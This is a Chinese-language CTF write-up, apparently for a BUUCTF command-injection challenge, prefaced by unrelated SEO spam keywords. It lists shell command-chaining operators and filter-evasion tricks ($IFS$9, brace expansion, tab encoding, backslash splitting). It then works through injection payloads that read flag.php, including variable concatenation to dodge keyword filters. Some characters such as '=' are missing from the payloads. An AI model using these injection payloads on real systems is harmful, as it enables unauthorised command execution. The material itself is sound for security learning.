八年级信技做网站,长春seo外包平台,长沙天津网站建设,销售网站建设价格0x00 考点 0、命令联合执行 ; 前面的执行完执行后面的 | 管道符#xff0c;上一条命令的输出#xff0c;作为下一条命令的参数#xff08;显示后面的执行结果#xff09; || 当前面的执行出错时#xff08;为假#xff09;执行后面的 将任…0x00 考点 0、命令联合执行 ; 前面的执行完执行后面的 | 管道符上一条命令的输出作为下一条命令的参数显示后面的执行结果 || 当前面的执行出错时为假执行后面的 将任务置于后台执行 前面的语句为假则直接出错后面的也不执行前面只能为真 %0a 换行 %0d 回车 1、命令绕过空格方法有 ${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 IFS {cat,flag.php} //用逗号实现了空格功能需要用{}括起来 %20 (space) %09 (tab) X$cat\x09./flag.php;$X \x09表示tab也可以用\x20 ps:有时会禁用cat: 解决方法是使用tac反向输出命令 linux命令中可以加\所以甚至可以ca\t /fl\ag 2、内联执行 内联就是将反引号内命令的输出作为输入执行
?ip127.0.0.1;cat$IFS$9ls
$IFS在Linux下表示为空格 $9是当前系统shell进程第九个参数持有者始终为空字符串$后可以接任意数字
这里$IFS$9或$IFS垂直后面加个$与{}类似起截断作用 原文链接https://blog.csdn.net/vanarrow/article/details/108295481 这个题先ping一下可以ping通直接ls看看
0ef4f16b-2de2-41d3-bfcf-6d06f7a9fb60.node5.buuoj.cn:81/?ip127.0.0.1;ls 然后cat一下flag.php看看 wc它骂我额是空格的过滤 0ef4f16b-2de2-41d3-bfcf-6d06f7a9fb60.node5.buuoj.cn:81/?ip127.0.0.1;cat{IFS}flag.php 也过滤了{}用$IFS$1代替 flag.php里没有东西
在index.php里找找
代码审计
过滤了许多的字符
1.源码中有一个$a可以覆盖
?ip127.0.0.1;af;cat$IFS$1$alag.php 过滤 ?ip127.0.0.1;al;cat$IFS$1f$aag.php 没flag ?ip127.0.0.1;aa;cat$IFS$1fl$ag.php 过滤 ?ip127.0.0.1;ag;cat$IFS$1fla$a.php 有flag ?ip127.0.0.1;afl;bag;cat$IFS$1$a$b.php 过滤 ?ip127.0.0.1;bag;afl;cat$IFS$1$a$b.php 有flag
使用ctrlu查看源码
2.
、变量ab互换传递绕过字符串匹配实现拼接
?ip127.0.0.1;bag;afl;cat$IFS$1$a$b.php?ip127.0.0.1;blag;af;cat$IFS$a$b.php